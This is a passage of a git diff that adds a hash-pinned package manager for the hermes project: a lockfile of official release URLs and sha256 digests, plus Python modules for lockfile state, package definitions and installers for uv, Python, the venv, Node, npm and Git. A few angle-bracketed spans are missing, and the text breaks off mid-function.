"sha256": "65d74d6164ed5c8245762f6a7d646269e1c0cd6f8972e74771a43f6d2b3ce2ea", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-win-cuda-13.3-x64.zip" + }, + { + "sha256": "1462a050eb4c684921ba51dcc4cc488a036674c3e73e9945ee705b854808d03e", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/cudart-llama-bin-win-cuda-13.3-x64.zip" + } + ] + }, + "version": "10362" + }, + "llamacpp-metal": { + "artifacts": { + "darwin-arm64": { + "sha256": "e353a453cadb25960bea9b24692b72bd0a6b7b50b3bab5860bd5df8a434e7c5b", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-macos-arm64.tar.gz" + }, + "darwin-x64": { + "sha256": "007ad98aec86111c87f5a602342d9da30f410dfb2e21c35b26c338cb915196e0", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-macos-x64.tar.gz" + } + }, + "version": "10362" + }, + "llamacpp-vulkan": { + "artifacts": { + "linux-arm64": { + "sha256": "aaa5cd203ad591ffc637535239ebd5e341fa4d272f70a976825d8823d9325b0e", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-ubuntu-vulkan-arm64.tar.gz" + }, + "linux-x64": { + "sha256": "cd9dc4885a32bae4c7640454e15aeba1324fff8bb6ea003555b5b112aa16d3bc", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-ubuntu-vulkan-x64.tar.gz" + }, + "win32-x64": { + "sha256": "5da6d2c0cac199b917f0a7677c22b619750a9dd12432586d5d61457350e65a50", + "url": "https://github.com/ggml-org/llama.cpp/releases/download/b10362/llama-b10362-bin-win-vulkan-x64.zip" + } + }, + "version": "10362" + }, + "node": { + "artifacts": { + "darwin-arm64": { + "sha256": "7ee659a7768e641bbfd5360940660b8e8fd0052f77488f365562bac522fc15d4", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-darwin-arm64.tar.xz" + }, + "darwin-x64": { + "sha256": "f279d1ed28ce57f7788bf23435d2ad7fdd7438904ad5c4d8a1081a7cde3d4b96", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-darwin-x64.tar.xz" + }, + "linux-arm64": { + "sha256": "afc7a004018485092ac8985b817b0d5684472bd9472e0b57d2ab88737e50090d", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-linux-arm64.tar.xz" + }, + "linux-x64": { + "sha256": "982aa24dd8be4c889c6a8ab337ddff3b0896645b20f4239356e80552c16277ee", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-linux-x64.tar.xz" + }, + "win32-arm64": { + "sha256": "be8775204cfceca5a73c30f91bf0de5e85274c01b776dc13f16b91aa251ebb01", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-win-arm64.zip" + }, + "win32-x64": { + "sha256": "d3bd72755141ed32bbcd841228ee81897c8a98d50dfa7dae2179399a0a7c90f8", + "url": "https://nodejs.org/dist/v26.7.0/node-v26.7.0-win-x64.zip" + } + }, + "version": "26.7.0" + }, + "npm": { + "artifacts": { + "any": { + "sha256": "5dbb86c71d07a1957f2e90734092dd6a58bdcd9ebc2d8d41ca1c6e6a21d364e1", + "url": "https://registry.npmjs.org/npm/-/npm-12.0.2.tgz" + } + }, + "version": "12.0.2" + }, + "python": { + "artifacts": { + "darwin-arm64": { + "sha256": "fcba9f3f676c83e07225e38116649f0c6eb94cb4fcc166632cf92769462b6e39", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-aarch64-apple-darwin-install_only.tar.gz" + }, + "darwin-x64": { + "sha256": "d9117d31251ba5c9a81ac7ad7c00dab1d5228e261eb0cda94550b4da1cc73bd1", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-x86_64-apple-darwin-install_only.tar.gz" + }, + "linux-arm64": { + "sha256": "9142c12dd3559eaac58a18d8905b99a293979d5e5a1b4fb5cf4cebbf82ef6f33", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-aarch64-unknown-linux-gnu-install_only.tar.gz" + }, + "linux-x64": { + "sha256": "33994fad90145ba559ebbe8a18d69fa7e56653502f7ba14ba07199b52cde3775", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-x86_64-unknown-linux-gnu-install_only.tar.gz" + }, + "win32-arm64": { + "sha256": "450cbf91ff0dbfce7fa1d40ba19103187852076496b6153e528fa6dc43a88a58", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-aarch64-pc-windows-msvc-install_only.tar.gz" + }, + "win32-x64": { + "sha256": "ffaee1e94c8488f833473e56e1c980ca1a58d91126d21ddf0f6ba052e69cf511", + "url": "https://github.com/astral-sh/python-build-standalone/releases/download/20260814/cpython-3.11.16+20260814-x86_64-pc-windows-msvc-install_only.tar.gz" + } + }, + "version": "3.11.16+20260814" + }, + "ripgrep": { + "artifacts": { + "darwin-arm64": { + "sha256": "3750b2e93f37e0c692657da574d7019a101c0084da05a790c83fd335bad973e4", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-aarch64-apple-darwin.tar.gz" + }, + "darwin-x64": { + "sha256": "af7825fcc69a2afc7a7aea55fc9af90e26421d8f20fe59df32e233c0b8a231c1", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-x86_64-apple-darwin.tar.gz" + }, + "linux-arm64": { + "sha256": "800b1e7206afe799dfb5a6901f23147cfaabe0e52210538100f61e86e1740915", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-aarch64-unknown-linux-musl.tar.gz" + }, + "linux-x64": { + "sha256": "33e15bcf1624b25cdd2a55813a47a2f95dbe126268203e76aa6a585d1e7b149c", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-x86_64-unknown-linux-musl.tar.gz" + }, + "win32-arm64": { + "sha256": "e4abca10c3a64ebea742667dd7009449d49403db5460dd6873e389fa2945360f", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-aarch64-pc-windows-msvc.zip" + }, + "win32-x64": { + "sha256": "71b2fef860abe467217a538ff31de02f5258807c0129f771846f87bd029aafc5", + "url": "https://github.com/BurntSushi/ripgrep/releases/download/15.2.0/ripgrep-15.2.0-x86_64-pc-windows-msvc.zip" + } + }, + "version": "15.2.0" + }, + "uv": { + "artifacts": { + "darwin-arm64": { + "sha256": "546f7f8a6c70ff13a3a9d2bc958db3427298cebf3e0cb756f9177133b7068843", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-aarch64-apple-darwin.tar.gz" + }, + "darwin-x64": { + "sha256": "4c9f52262a14da336e4a42ed24992d12d0c956acde87619e4611d321dffa602b", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-x86_64-apple-darwin.tar.gz" + }, + "linux-arm64": { + "sha256": "bb66cb52e7b1823aed1183630d8d8e5c958840d584a4c55ec10a4cfc168dcca2", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-aarch64-unknown-linux-gnu.tar.gz" + }, + "linux-x64": { + "sha256": "600cf9a742aca00d292673b16b5acffaa7b8c269a364ad0c2e79498dcb1fe101", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-x86_64-unknown-linux-gnu.tar.gz" + }, + "win32-arm64": { + "sha256": "4343217d668727b8a8eb5cad92389a1d2eeead93c89940d1b955ba1bb15462eb", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-aarch64-pc-windows-msvc.zip" + }, + "win32-x64": { + "sha256": "b23350c79e8ad0192b8124af13a0f17e8d4e4549524785e1aef389ae5a06990e", + "url": "https://github.com/astral-sh/uv/releases/download/0.12.3/uv-x86_64-pc-windows-msvc.zip" + } + }, + "version": "0.12.3" + } + }, + "schema": 1 +} diff --git a/pm/lock.py b/pm/lock.py new file mode 100644 index 0000000000..94ee6b08a5 --- /dev/null +++ b/pm/lock.py @@ -0,0 +1,201 @@ +"""The lockfile (versions + hashes, machine-written) and the installed-state +file (what is actually on this machine). + +lock.json: {"schema": 1, "packages": {name: {"version": ..., "artifacts": {target: {"url": ..., "sha256": ...}}}}} +facts.json: {"schema": 1, "packages": {name: {"entry": ..., "version": ..., "env": ..., "stamp": ...}}} + +A target's value is one {"url", "sha256"} object, or a LIST of them when the +package is split across several archives that must land in one directory +(llama.cpp's engine zip and its cudart zip: Windows resolves a DLL from the +loading executable's own directory). Both shapes read back as a list. + +lock.json artifacts carry the RESOLVED url beside the hash: the lockfile is +the complete machine interface (nix reads it as pure data), and the python +url templates are consulted only at `pm lock --bump` time. The "any" target +key covers target-independent artifacts (npm's tarball). + +facts.json env values hold {{store}} templates so a CI-built file adopts onto +any machine by substitution. +""" + +from __future__ import annotations + +import json +import os +from pathlib import Path + +SCHEMA = 1 +STORE_TOKEN = "{{store}}" + + +def _read(path: Path) -> dict: + try: + text = path.read_text(encoding="utf-8-sig") + except OSError: + return {"schema": SCHEMA, "packages": {}} + try: + data = json.loads(text) + if data.get("schema") == SCHEMA and isinstance(data.get("packages"), dict): + return data + except ValueError: + pass + if text.strip(): + # An unparsable-but-nonempty state file is evidence, not garbage: + # the next _write would silently discard every installed-state + # record. Keep the bytes for post-mortem. + try: + path.with_suffix(".corrupt").write_text(text, encoding="utf-8") + except OSError: + pass + return {"schema": SCHEMA, "packages": {}} + + +def _write(path: Path, data: dict) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.with_suffix(".tmp") + tmp.write_text(json.dumps(data, indent=2, sort_keys=True) + "\n", encoding="utf-8") + os.replace(tmp, path) + + +class Lockfile: + """Read side of lock.json. Written only by `pm lock --bump` (cli).""" + + def __init__(self, path: Path): + self.path = path + self._packages = _read(path)["packages"] + + def version(self, name: str) -> str | None: + return (self._packages.get(name) or {}).get("version") + + def artifacts(self, name: str, target: str) -> list[dict]: + """Every archive this target needs, in extraction order. One + artifact and a list of them are the same thing here — the single + form is just the common case written short.""" + artifacts = (self._packages.get(name) or {}).get("artifacts") or {} + found = artifacts.get(target) + if found is None: + found = artifacts.get("any") + if found is None: + return [] + return list(found) if isinstance(found, list) else [found] + + def names(self) -> list[str]: + return sorted(self._packages) + + def set_pin(self, name: str, version: str, artifacts: dict[str, dict]) -> None: + self._packages[name] = {"version": version, "artifacts": artifacts} + + def save(self) -> None: + _write(self.path, {"schema": SCHEMA, "packages": self._packages}) + + +class Facts: + """The installed-state file. Written only by pm.""" + + def __init__(self, path: Path): + self.path = path + self._packages = _read(path)["packages"] + + def reload(self) -> None: + self._packages = _read(self.path)["packages"] + + def get(self, name: str) -> dict | None: + return self._packages.get(name) + + def installed( + self, + name: str, + expected_version: str | None, + store_root: Path, + expected_identity=None, + ) -> bool: + """``expected_identity`` is (target, tuple(artifact sha256s)) — the + identity the lock currently pins. When given, the fact must record + that exact identity: a same-version re-pin, a different target, or + a fact written before identity existed all count as NOT installed + and force a reinstall. ``None`` keeps the version+path check.""" + fact = self._packages.get(name) + if not fact: + return False + if expected_version is not None and fact.get("version") != expected_version: + return False + if expected_identity is not None: + target, shas = expected_identity + if "target" not in fact or "artifacts" not in fact: + # Legacy fact: pre-dates digest-bound identity. Not + # vouchable — force one reinstall. + return False + if (fact["target"], tuple(fact["artifacts"])) != (target, tuple(shas)): + return False + return (store_root / fact["entry"]).exists() + + def env_for(self, name: str, store_root: Path) -> dict: + fact = self._packages.get(name) or {} + return _resolve(fact.get("env", {}), store_root) + + def _merge_and_write(self, name: str, fact: dict) -> None: + """Read-modify-write against disk so concurrent installs of + different packages never clobber each other.""" + on_disk = _read(self.path)["packages"] + for key, value in self._packages.items(): + on_disk.setdefault(key, value) + self._packages = on_disk + self._packages[name] = fact + _write(self.path, {"schema": SCHEMA, "packages": self._packages}) + + def record( + self, + name: str, + version: str, + entry: str, + env: dict, + store_root: Path, + target: str | None = None, + artifacts: list[str] | None = None, + digest: str | None = None, + ) -> None: + """``target``/``artifacts`` record the identity this install came + from (work item 1); ``digest`` is the realized tree digest of the + published entry (work item 2). All three are additive — schema + stays 1 and older facts without them still read back.""" + fact: dict = { + "entry": entry, + "version": version, + "env": _templatize(env, store_root), + } + if target is not None: + fact["target"] = target + if artifacts is not None: + fact["artifacts"] = list(artifacts) + if digest is not None: + fact["digest"] = digest + self._merge_and_write(name, fact) + + def record_state(self, name: str, stamp: str, extras: list[str]) -> None: + """State packages (the venv) have a stamp and extras, no entry.""" + self._merge_and_write(name, {"stamp": stamp, "extras": extras}) + + def entries_in_use(self) -> set[str]: + return {f["entry"] for f in self._packages.values() if "entry" in f} + + +def _templatize(env: dict, store_root: Path) -> dict: + root = str(store_root) + out = {} + for key, value in env.items(): + if isinstance(value, list): + out[key] = [str(v).replace(root, STORE_TOKEN) for v in value] + else: + out[key] = str(value).replace(root, STORE_TOKEN) + return out + + +def _resolve(env: dict, store_root: Path) -> dict: + root = str(store_root) + out = {} + for key, value in env.items(): + if isinstance(value, list): + out[key] = [str(v).replace(STORE_TOKEN, root) for v in value] + else: + out[key] = str(value).replace(STORE_TOKEN, root) + return out diff --git a/pm/package.py b/pm/package.py new file mode 100644 index 0000000000..ee392b4bb7 --- /dev/null +++ b/pm/package.py @@ -0,0 +1,225 @@ +"""Package definitions: what a package IS. No versions, no hashes — those +live in lock.json, written by `pm lock`.""" + +from __future__ import annotations + +import os +import subprocess +from pathlib import Path +from typing import TYPE_CHECKING, Optional + +if TYPE_CHECKING: + from pm.store import Store + + +class InstallError(RuntimeError): + def __init__(self, package: str, cause: str, remedy: str = ""): + self.package = package + self.cause = cause + self.remedy = remedy or "retry, or run `hermes pm doctor`" + super().__init__(f"{package}: {cause} — {self.remedy}") + + +def compose_env(diffs: list[dict], base: Optional[dict] = None) -> dict[str, str]: + """Dependents win over their dependencies for every key: diffs arrive + deps-first, later ones take precedence — npm's pinned shim must shadow + the npm bundled inside node, and a package's exports beat inherited env. + 'PATH' values are lists of dirs, prepended.""" + env = dict(os.environ if base is None else base) + path_dirs: list[str] = [] + for diff in reversed(diffs): + for key, value in diff.items(): + if key == "PATH": + dirs = value if isinstance(value, list) else [value] + path_dirs.extend(str(d) for d in dirs if str(d) not in path_dirs) + for diff in diffs: + for key, value in diff.items(): + if key != "PATH": + env[key] = str(value) + if path_dirs: + key = next((k for k in env if k.upper() == "PATH"), "PATH") + existing = env.get(key, "") + prefix = os.pathsep.join(path_dirs) + env[key] = f"{prefix}{os.pathsep}{existing}" if existing else prefix + return env + + +class Package: + """Subclass and register. Declarative for the common case; override + fetch_url()/unpack()/stage()/verify()/env()/migrate() for the rest. + + name: unique id. + deps: packages installed before this one. + optional: not part of the root closure; installed on demand. + internal: a package manager pm uses inside install steps — never on + PATH and never part of the root closure. uv is the single internal + package; node/npm are shipped runtime tools (TUI, plugins), not + install machinery. + on_path: contributes PATH dirs. + url: template with {version} and {target} holes. override fetch_url() + when a platform needs a completely different url. + gaps: targets this package does NOT exist for, with the reason + (upstream ships no artifact). Everything else is available. + """ + + name: str = "" + deps: tuple[str, ...] = () + optional: bool = False + internal: bool = False + on_path: bool = True + url: str = "" + gaps: dict[str, str] = {} + # Targets where this package's binary is the x64 build run under + # Windows ARM64 built-in emulation (no native arm64 artifact exists). + # The arch guard accepts the x64 PE on these targets. + emulated_arch_targets: frozenset[str] = frozenset() + + def missing_reason(self, target: str) -> Optional[str]: + return self.gaps.get(target) + + def fetch_url(self, version: str, target: str) -> str: + if not self.url: + raise InstallError(self.name, "package has no download url") + return self.url.format(version=version, target=target) + + def fetch_urls(self, version: str, target: str) -> list[str]: + """Every archive this target is built from, in extraction order. + Almost every package is one archive; override this (instead of + fetch_url) when upstream splits a runtime across downloads that + have to land in one directory.""" + return [self.fetch_url(version, target)] + + def store_entry(self, version: str, target: str) -> str: + return f"{self.name}-{version}-{target}" + + def known_sha256(self, version: str, url: str) -> Optional[str]: + """A digest the upstream already publishes, so `pm lock` does not + have to stream the artifact to learn it. Override where a release + API serves digests (GitHub's does); returning None means hash it.""" + return None + + def unpack(self, archive: Path, staged: Path, target: str) -> None: + """Turn the verified archive into the staged tree. Default: extract. + Override for self-extractors or install-style unpacks (npm). + + Called once per artifact; extract() empties its destination, so a + multi-archive package receives each later archive in a scratch dir + that pm merges into the staged tree. + """ + from pm.store import extract + + extract(archive, staged) + + def stage(self, store: "Store", staged: Path, version: str, target: str) -> None: + """Post-unpack fixups inside the scratch dir. Default: nothing.""" + + def binary(self, entry: Path, target: str) -> Optional[Path]: + return None + + def verify(self, entry: Path, target: str) -> str: + """Return '' when the entry is usable on target, else why not. + Every subclass check (probe, marker) must keep this shape: '' is + the verified answer, anything else is the diagnosis.""" + binary = self.binary(entry, target) + if binary is None: + return "" + return self._binary_reason(binary, entry, target) + + def _binary_reason(self, binary: Path, entry: Path, target: str) -> str: + """'' when the binary is present and arch-plausible on target.""" + if not binary.is_file(): + return _missing_reason(binary, entry) + if machine_matches_binary(binary, target) is False and target not in self.emulated_arch_targets: + return f"{binary.name} is not a {target} binary" + return "" + + def env(self, entry: Path, target: str) -> dict: + diff: dict = {} + if self.on_path: + binary = self.binary(entry, target) + if binary is not None: + diff["PATH"] = [str(binary.parent)] + return diff + + def migrate(self, previous_version: str, version: str) -> None: + """User-state migration on version change.""" + + +class StatePackage(Package): + """A package that is a STATE of this install (the python venv), not a + store entry. Verified by comparing a stamp; made true by apply().""" + + on_path = False + + def expected_stamp(self, extras: list[str]) -> str: + raise NotImplementedError + + def apply(self, extras: list[str]) -> None: + raise NotImplementedError + + +def machine_matches_binary(binary: Path, target: str) -> Optional[bool]: + """Does this executable's architecture match the target? Reads the + PE/ELF/Mach-O header directly. None = unknown format (scripts, shims), + which is not a mismatch.""" + import struct + + arch = target.rsplit("-", 1)[-1] + try: + with open(binary, "rb") as f: + head = f.read(64) + if head[:2] == b"MZ": + f.seek(int.from_bytes(head[60:64], "little")) + sig = f.read(6) + if sig[:4] != b"PE\0\0": + return None + machine = int.from_bytes(sig[4:6], "little") + return machine == {"x64": 0x8664, "arm64": 0xAA64}.get(arch) + if head[:4] == b"\x7fELF": + machine = int.from_bytes(head[18:20], "little") + return machine == {"x64": 0x3E, "arm64": 0xB7}.get(arch) + if head[:4] in (b"\xcf\xfa\xed\xfe", b"\xfe\xed\xfa\xcf"): + cpu = struct.unpack(" str: + """Top-level names of a store entry, for verification diagnoses.""" + if not entry.is_dir(): + return "store entry does not exist" + names = sorted(p.name for p in entry.iterdir()) + shown = ", ".join(names[:limit]) + if len(names) > limit: + shown += f", … ({len(names)} entries)" + return shown + + +def _missing_reason(binary: Path, entry: Path) -> str: + """Why a package's expected binary is not where it should be — the + diagnosis that tells you whether the pin's layout is wrong.""" + rel = binary.relative_to(entry).as_posix() + return f"{rel} missing under {entry}; {_entry_listing(entry)}" + + +def _probe_reason(binary: Path, proc: "subprocess.CompletedProcess") -> str: + """Why a --version probe failed: the exit code plus output tail.""" + out = (proc.stdout or b"") + (proc.stderr or b"") + tail = out.decode(errors="replace").strip()[-300:] + return f"{binary} --version exited {proc.returncode}" + (f": {tail}" if tail else "") + + +class Runner: + """What ensure() hands back: a composed environment and a run mirror.""" + + def __init__(self, name: str, env: dict[str, str]): + self.name = name + self.env = env + + def run(self, cmd, **kwargs) -> subprocess.CompletedProcess: + kwargs.setdefault("env", self.env) + return subprocess.run(cmd, **kwargs) diff --git a/pm/packages.py b/pm/packages.py new file mode 100644 index 0000000000..8384a24e6a --- /dev/null +++ b/pm/packages.py @@ -0,0 +1,778 @@ +"""Package definitions for the tools hermes manages. Versions and hashes +live in pm/lock.json (written by `pm lock`), never here.""" + +from __future__ import annotations + +import os +import platform +import shutil +import subprocess +from pathlib import Path +from typing import Optional + +from pm.package import ( + InstallError, + Package, + StatePackage, + _entry_listing, + _missing_reason, + _probe_reason, +) +from pm.registry import register +from pm.store import ALL_TARGETS, Store, flatten_single_dir, merge_tree + +_RUST_TRIPLE = { + "win32-x64": "x86_64-pc-windows-msvc", + "win32-arm64": "aarch64-pc-windows-msvc", + "linux-x64": "x86_64-unknown-linux-gnu", + "linux-arm64": "aarch64-unknown-linux-gnu", + "darwin-x64": "x86_64-apple-darwin", + "darwin-arm64": "aarch64-apple-darwin", +} + +_NODE_PLAT = { + "win32-x64": "win-x64", + "win32-arm64": "win-arm64", + "linux-x64": "linux-x64", + "linux-arm64": "linux-arm64", + "darwin-x64": "darwin-x64", + "darwin-arm64": "darwin-arm64", +} + + +class BinaryPackage(Package): + """A downloaded archive exposing one binary. Covers most tools.""" + + binary_rel: dict[str, str] = {} + flatten = True + probe_version = True + # argv after the binary for the smoke probe. A package whose binary + # rejects the GNU double-dash form (ffmpeg's BtbN autobuild) overrides. + probe_args: list[str] = ["--version"] + # Run the probe with cwd=binary.parent: dlopen'd backends (llama.cpp's + # cudart) resolve their shared libraries from the working directory. + probe_cwd = False + + def _rel(self, target: str) -> Optional[str]: + win = target.startswith("win32") + return self.binary_rel.get(target) or self.binary_rel.get( + "win32" if win else "posix" + ) + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + if self.flatten: + flatten_single_dir(staged) + + def binary(self, entry: Path, target: str) -> Optional[Path]: + rel = self._rel(target) + return entry / rel if rel else None + + def verify(self, entry: Path, target: str) -> str: + """Return '' when the entry is usable on target, else why not: + a missing binary, a wrong-arch binary, or a --version probe that + fails to exec, times out, or exits nonzero.""" + binary = self.binary(entry, target) + if binary is None: + return "no binary_rel for this target" + reason = self._binary_reason(binary, entry, target) + if reason: + return reason + if not self.probe_version: + return "" + try: + proc = subprocess.run( + [str(binary), *self.probe_args], + capture_output=True, + timeout=60, + cwd=str(binary.parent) if self.probe_cwd else None, + env=self._probe_env(), + ) + except OSError as e: + return f"could not exec {binary} {' '.join(self.probe_args)}: {e}" + except subprocess.TimeoutExpired: + return f"{binary} {' '.join(self.probe_args)} timed out after 60s" + if proc.returncode != 0: + return _probe_reason(binary, proc) + return "" + + def _probe_env(self) -> dict: + """Deps' env composed in: npm's shim is `#!/usr/bin/env node` and + must find the node it extends on PATH.""" + if not self.deps: + return dict(os.environ) + from pm.ensure import env_for + + return env_for(*self.deps) + + +@register +class Uv(BinaryPackage): + name = "uv" + internal = True + binary_rel = {"win32": "uv.exe", "posix": "uv"} + + def fetch_url(self, version: str, target: str) -> str: + triple = _RUST_TRIPLE[target] + ext = "zip" if target.startswith("win32") else "tar.gz" + return f"https://github.com/astral-sh/uv/releases/download/{version}/uv-{triple}.{ext}" + + +_MACOS_MANAGED_PYTHON_IDENTIFIER = "com.nousresearch.hermes.managed-python" + + +def _macos_sign_managed_python(python: Path) -> bool: + """Give a downloaded Python a stable macOS code identity.""" + if platform.system() != "Darwin": + return False + + codesign = shutil.which("codesign") + if not codesign: + return False + + requirement = ( + "=designated => identifier " + f'"{_MACOS_MANAGED_PYTHON_IDENTIFIER}"' + ) + try: + signed = subprocess.run( + [ + codesign, + "--force", + "--deep", + "--sign", + "-", + "--timestamp=none", + "--identifier", + _MACOS_MANAGED_PYTHON_IDENTIFIER, + "--requirements", + requirement, + str(python), + ], + check=False, + capture_output=True, + text=True, + ) + if signed.returncode != 0: + return False + verified = subprocess.run( + [codesign, "--verify", "--deep", "--strict", str(python)], + check=False, + capture_output=True, + text=True, + ) + return verified.returncode == 0 + except Exception: + return False + + +@register +class Python(BinaryPackage): + """The payload interpreter (python-build-standalone install_only). + Optional: dev installs use their own venv's python; bundles stage this + and point the relocatable venv's pyvenv.cfg at it (pm adopt).""" + + name = "python" + optional = True + probe_version = False + binary_rel = {"win32": "python.exe", "posix": "bin/python3"} + + def stage(self, store: Store, staged: Path, version: str, target: str) -> None: + super().stage(store, staged, version, target) + binary = self.binary(staged, target) + if binary is not None: + _macos_sign_managed_python(binary) + + def fetch_url(self, version: str, target: str) -> str: + # lock version is "+", e.g. "3.11.13+20250807" + pyver, _, tag = version.partition("+") + if not tag: + raise InstallError(self.name, f"version {version!r} needs the + tag") + triple = _RUST_TRIPLE[target] + return ( + "https://github.com/astral-sh/python-build-standalone/releases/download/" + f"{tag}/cpython-{pyver}+{tag}-{triple}-install_only.tar.gz" + ) + + +def _uv_lock_digest(path: Path) -> bytes: + """sha256 of uv.lock, cached on (mtime_ns, size) — check() runs at + every startup and uv.lock is megabyte-class.""" + import hashlib + + stat = path.stat() + key = (stat.st_mtime_ns, stat.st_size) + cached = _uv_lock_digest_cache.get(path) + if cached and cached[0] == key: + return cached[1] + digest = hashlib.sha256(path.read_bytes()).digest() + _uv_lock_digest_cache[path] = (key, digest) + return digest + + +_uv_lock_digest_cache: dict[Path, tuple] = {} + + +def uv_env(base_env: Optional[dict] = None) -> dict[str, str]: + """Sanitized env for pm's internal uv invocations: user-level UV + overrides and active-venv leakage must not steer which interpreter or + install dir uv picks (the interpreter-hijack class, #83914).""" + env = dict(os.environ if base_env is None else base_env) + for key in list(env): + if key.startswith("UV_") or key in ( + "VIRTUAL_ENV", + "PYTHONPATH", + "PYTHONHOME", + "PYTHONSTARTUP", + "PYTHONEXECUTABLE", + ): + env.pop(key) + env["UV_NO_CONFIG"] = "1" + return env + + +@register +class Venv(StatePackage): + """The project venv: pyproject.toml + uv.lock + enabled extras. + Made true by `uv sync --frozen`; uv is its internal dependency.""" + + name = "venv" + deps = ("uv",) + + def project_root(self) -> Path: + from pm.paths import repo_root + + return repo_root() + + def venv_dir(self) -> Path: + from hermes_constants import project_venv_dir + + found = project_venv_dir(self.project_root()) + return found if found else self.project_root() / "venv" + + def expected_stamp(self, extras: list[str]) -> str: + import hashlib + import sys + + h = hashlib.sha256() + h.update(_uv_lock_digest(self.project_root() / "uv.lock")) + h.update(",".join(sorted(extras)).encode()) + h.update(f"{sys.version_info.major}.{sys.version_info.minor}".encode()) + return h.hexdigest() + + def apply(self, extras: list[str]) -> None: + from pm.ensure import uv as pm_uv + + uv_bin, env = pm_uv(venv=self.venv_dir()) + if uv_bin is None: + raise InstallError(self.name, "uv is not installed") + cmd = [uv_bin, "sync", "--frozen"] + for extra in sorted(extras): + cmd += ["--extra", extra] + proc = subprocess.run( + cmd, + cwd=str(self.project_root()), + capture_output=True, + text=True, + timeout=1800, + env=env, + ) + if proc.returncode != 0: + raise InstallError( + self.name, f"uv sync exited {proc.returncode}: {proc.stderr[-400:]}" + ) + + +@register +class Nodejs(BinaryPackage): + name = "node" + binary_rel = {"win32": "node.exe", "posix": "bin/node"} + + def fetch_url(self, version: str, target: str) -> str: + plat = _NODE_PLAT[target] + ext = "zip" if target.startswith("win32") else "tar.xz" + return f"https://nodejs.org/dist/v{version}/node-v{version}-{plat}.{ext}" + + +@register +class Npm(BinaryPackage): + name = "npm" + deps = ("node",) + binary_rel = {"win32": "npm.cmd", "posix": "bin/npm"} + flatten = False + probe_version = False + url = "https://registry.npmjs.org/npm/-/npm-{version}.tgz" + + def unpack(self, archive: Path, staged: Path, target: str) -> None: + """npm installs itself using the node it extends: a plain unpack + resolves the cli from dirname(process.execPath) and finds node's + bundled npm instead. --offline pins the bytes to the verified + tarball; --ignore-scripts + a sanitized env keep user npm/node + config out of the staging.""" + from pm.ensure import _facts, _store + from pm.registry import get_package + + facts = _facts() + store = _store() + node = get_package("node") + node_fact = facts.get("node") + if node_fact is None: + raise InstallError(self.name, "npm extends node, which is not installed") + node_bin = node.binary(store.entry(node_fact["entry"]), target) + if node_bin is None or not node_bin.is_file(): + raise InstallError(self.name, "node's entry is missing its binary") + win = target.startswith("win32") + bundled_cli = ( + node_bin.parent / "node_modules" / "npm" / "bin" / "npm-cli.js" + if win + else node_bin.parent.parent / "lib" / "node_modules" / "npm" / "bin" / "npm-cli.js" + ) + if not bundled_cli.is_file(): + raise InstallError(self.name, "node's entry is missing its bundled npm-cli.js") + + env = { + key: value + for key, value in os.environ.items() + if not key.lower().startswith("npm_config_") + and key not in ("NODE_OPTIONS", "NODE_PATH", "NODE_ENV") + } + env["npm_config_cache"] = str(archive.parent / ".npm-cache") + + staged.mkdir(parents=True, exist_ok=True) + proc = subprocess.run( + [ + str(node_bin), str(bundled_cli), "install", "--global", + "--prefix", str(staged), "--offline", "--ignore-scripts", + "--no-audit", "--no-fund", str(archive), + ], + capture_output=True, + text=True, + timeout=900, + env=env, + ) + if proc.returncode != 0: + raise InstallError( + self.name, f"self-install exited {proc.returncode}: {proc.stderr[-400:]}" + ) + + +@register +class Git(BinaryPackage): + """Windows only: Git for Windows carries the bash.exe contract. POSIX + uses the system git — a deliberate gap, not an oversight. The tar.bz2 + release asset extracts with stdlib tarfile: no self-extractor, no GUI.""" + + name = "git" + optional = True + binary_rel = {"win32": "cmd/git.exe"} + flatten = False + gaps = { + "linux-x64": "POSIX uses system git by choice", + "linux-arm64": "POSIX uses system git by choice", + "darwin-x64": "POSIX uses system git by choice", + "darwin-arm64": "POSIX uses system git by choice", + } + + def fetch_url(self, version: str, target: str) -> str: + tag, build = version.split("+") + arch = "arm64" if target.endswith("arm64") else "64-bit" + return ( + f"https://github.com/git-for-windows/git/releases/download/" + f"v{tag}.windows.{build}/Git-{tag}.{build}-{arch}.tar.bz2" + ) + + def unpack(self, archive: Path, staged: Path, target: str) -> None: + """stdlib tar extract, but skip members the data filter refuses — + the MSYS tree ships dev/fd → /proc/self/fd style links that mean + nothing on Windows and must not fail the install.""" + import tarfile + + staged.mkdir(parents=True, exist_ok=True) + with tarfile.open(archive) as tf: + for member in tf: + try: + tf.extract(member, staged, filter="data") + except (tarfile.FilterError, OSError): + continue + + def env(self, entry: Path, target: str) -> 